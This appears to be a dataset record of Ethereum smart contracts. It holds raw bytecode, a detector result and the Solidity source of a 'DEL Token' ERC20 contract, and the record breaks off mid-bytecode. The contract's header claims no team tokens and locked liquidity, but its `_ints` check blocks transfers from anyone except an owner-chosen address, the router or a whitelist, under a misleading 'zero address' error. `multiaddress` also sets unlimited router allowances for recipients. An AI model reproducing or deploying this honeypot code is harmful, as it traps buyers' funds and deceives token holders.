73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c9190614076565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461292a9190614076565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b89190613f95565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a0481613473565b612a0e8483613638565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a6b9190613e5f565b60405180910390a3505050505050505050565b600080600080600080612a9087613411565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae79190614076565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b759190613f95565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c039190613f95565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4f81613473565b612c598483613638565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612cb69190613e5f565b60405180910390a3505050505050505050565b600080600080600080612cdb87613411565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d329190614076565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc09190614076565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e4e9190613f95565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612edc9190613f95565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f2881613473565b612f328483613638565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612f8f9190613e5f565b60405180910390a3505050505050505050565b600080600080600080612fb487613411565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300b9190614076565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130999190613f95565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e581613473565b6130ef8483613638565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161314c9190613e5f565b60405180910390a3505050505050505050565b6000806000600f549050600066038d7ea4c68000905060005b6009805490508110156133d15782600160006009848154811061319e5761319d6142c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061328c5750816002600060098481548110613224576132236142c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156132a857600f5466038d7ea4c680009450945050505061340d565b60016000600983815481106132c0576132bf6142c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836133319190614076565b9250600260006009838154811061334b5761334a6142c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826133bc9190614076565b915080806133c990614189565b915050613178565b5066038d7ea4c68000600f546133e79190613feb565b82101561340457600f5466038d7ea4c6800093509350505061340d565b81819350935050505b9091565b600080600080600080600080600061342e8a601154601254613664565b925092509250600080600061344c8d868661344761280f565b6136d0565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061347d61280f565b90506000818361348d919061401c565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134fc9190613f95565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135ce9190613f95565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600f546136469190614076565b600f819055508060105461365a9190613f95565b6010819055505050565b60008060008060648688613678919061401c565b6136829190613feb565b9050600060648689613694919061401c565b61369e9190613feb565b9050600081838a6136af9190614076565b6136b99190614076565b905080838395509550955050505093509350939050565b60008060008084886136e2919061401c565b9050600085886136f2919061401c565b905060008688613702919061401c565b905060008183856137139190614076565b61371d9190614076565b9050838184965096509650505050509450945094915050565b600061374961374484613f14565b613eef565b9050808382526020820190508285602086028201111561376c5761376b614324565b5b60005b8581101561379c578161378288826137a6565b84526020840193506020830192505060018101905061376f565b5050509392505050565b6000813590506137b58161454a565b92915050565b6000815190506137ca8161454a565b92915050565b600082601f8301126137e5576137e461431f565b5b81356137f5848260208601613736565b91505092915050565b60008151905061380d81614561565b92915050565b60008135905061382281614578565b92915050565b60008151905061383781614578565b92915050565b6000602082840312156138535761385261432e565b5b6000613861848285016137a6565b91505092915050565b6000602082840312156138805761387f61432e565b5b600061388e848285016137bb565b91505092915050565b600080604083850312156138ae576138ad61432e565b5b60006138bc858286016137a6565b92505060206138cd858286016137a6565b9150509250929050565b6000806000606084860312156138f0576138ef61432e565b5b60006138fe868287016137a6565b935050602061390f868287016137a6565b925050604061392086828701613813565b9150509250925092565b600080604083850312156139415761394061432e565b5b600061394f858286016137a6565b925050602061396085828601613813565b9150509250929050565b6000602082840312156139805761397f61432e565b5b600082013567ffffffffffffffff81111561399e5761399d614329565b5b6139aa848285016137d0565b91505092915050565b6000602082840312156139c9576139c861432e565b5b60006139d7848285016137fe565b91505092915050565b6000806000606084860312156139f9576139f861432e565b5b6000613a0786828701613828565b9350506020613a1886828701613828565b9250506040613a2986828701613828565b9150509250925092565b6000613a3f8383613a4b565b60208301905092915050565b613a54816140aa565b82525050565b613a63816140aa565b82525050565b6000613a7482613f50565b613a7e8185613f73565b9350613a8983613f40565b8060005b83811015613aba578151613aa18882613a33565b9750613aac83613f66565b925050600181019050613a8d565b5085935050505092915050565b613ad0816140bc565b82525050565b613adf81614113565b82525050565b6000613af082613f5b565b613afa8185613f84565b9350613b0a818560208601614125565b613b1381614333565b840191505092915050565b6000613b2b602a83613f84565b9150613b3682614344565b604082019050919050565b6000613b4e602283613f84565b9150613b5982614393565b604082019050919050565b6000613b71602083613f84565b9150613b7c826143e2565b602082019050919050565b6000613b94602983613f84565b9150613b9f8261440b565b604082019050919050565b6000613bb7602583613f84565b9150613bc28261445a565b604082019050919050565b6000613bda602483613f84565b9150613be5826144a9565b604082019050919050565b6000613bfd601783613f84565b9150613c08826144f8565b602082019050919050565b6000613c20601183613f84565b9150613c2b82614521565b602082019050919050565b613c3f816140e8565b82525050565b613c4e81614106565b82525050565b6000602082019050613c696000830184613a5a565b92915050565b6000604082019050613c846000830185613a5a565b613c916020830184613a5a565b9392505050565b6000604082019050613cad6000830185613a5a565b613cba6020830184613c36565b9392505050565b600060c082019050613cd66000830189613a5a565b613ce36020830188613c36565b613cf06040830187613ad6565b613cfd6060830186613ad6565b613d0a6080830185613a5a565b613d1760a0830184613c36565b979650505050505050565b6000602082019050613d376000830184613ac7565b92915050565b60006020820190508181036000830152613d578184613ae5565b905092915050565b60006020820190508181036000830152613d7881613b1e565b9050919050565b60006020820190508181036000830152613d9881613b41565b9050919050565b60006020820190508181036000830152613db881613b64565b9050919050565b60006020820190508181036000830152613dd881613b87565b9050919050565b60006020820190508181036000830152613df881613baa565b9050919050565b60006020820190508181036000830152613e1881613bcd565b9050919050565b60006020820190508181036000830152613e3881613bf0565b9050919050565b60006020820190508181036000830152613e5881613c13565b9050919050565b6000602082019050613e746000830184613c36565b92915050565b600060a082019050613e8f6000830188613c36565b613e9c6020830187613ad6565b8181036040830152613eae8186613a69565b9050613ebd6060830185613a5a565b613eca6080830184613c36565b9695505050505050565b6000602082019050613ee96000830184613c45565b92915050565b6000613ef9613f0a565b9050613f058282614158565b919050565b6000604051905090565b600067ffffffffffffffff821115613f2f57613f2e6142f0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613fa0826140e8565b9150613fab836140e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613fe057613fdf614263565b5b828201905092915050565b6000613ff6826140e8565b9150614001836140e8565b92508261401157614010614292565b5b828204905092915050565b6000614027826140e8565b9150614032836140e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561406b5761406a614263565b5b828202905092915050565b6000614081826140e8565b915061408c836140e8565b92508282101561409f5761409e614263565b5b828203905092915050565b60006140b5826140c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b600061411e826140e8565b9050919050565b60005b83811015614143578082015181840152602081019050614128565b83811115614152576000848401525b50505050565b61416182614333565b810181811067ffffffffffffffff821117156141805761417f6142f0565b5b80604052505050565b6000614194826140e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156141c7576141c6614263565b5b600182019050919050565b60006141dd826140f2565b915067ffffffffffffffff8214156141f8576141f7614263565b5b600182019050919050565b600061420e826140f2565b9150614219836140f2565b92508261422957614228614292565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b614553816140aa565b811461455e57600080fd5b50565b61456a816140bc565b811461457557600080fd5b50565b614581816140e8565b811461458c57600080fd5b5056fea26469706673582212206ffac0671506f3d134e6d2d00ee73d50978c0dd14a0a6fda70e0f180afd3372864736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,215 |
0xdd7f67b7c51b72ebf1d3529220085d1f6d2a8b70
|
// ----------------------------------------------------------------------------
// 'DEL Token' token contract
// NO PERSALE, NO TEAM TOKENS, NO MINT, LIQUIDITY LOCKED
// Symbol : del.finance
// Name : DEL
// Total supply: 50000
// Decimals : 18
//
// Enjoy.Enjoy the trip to the moon!!
//
//
// ----------------------------------------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836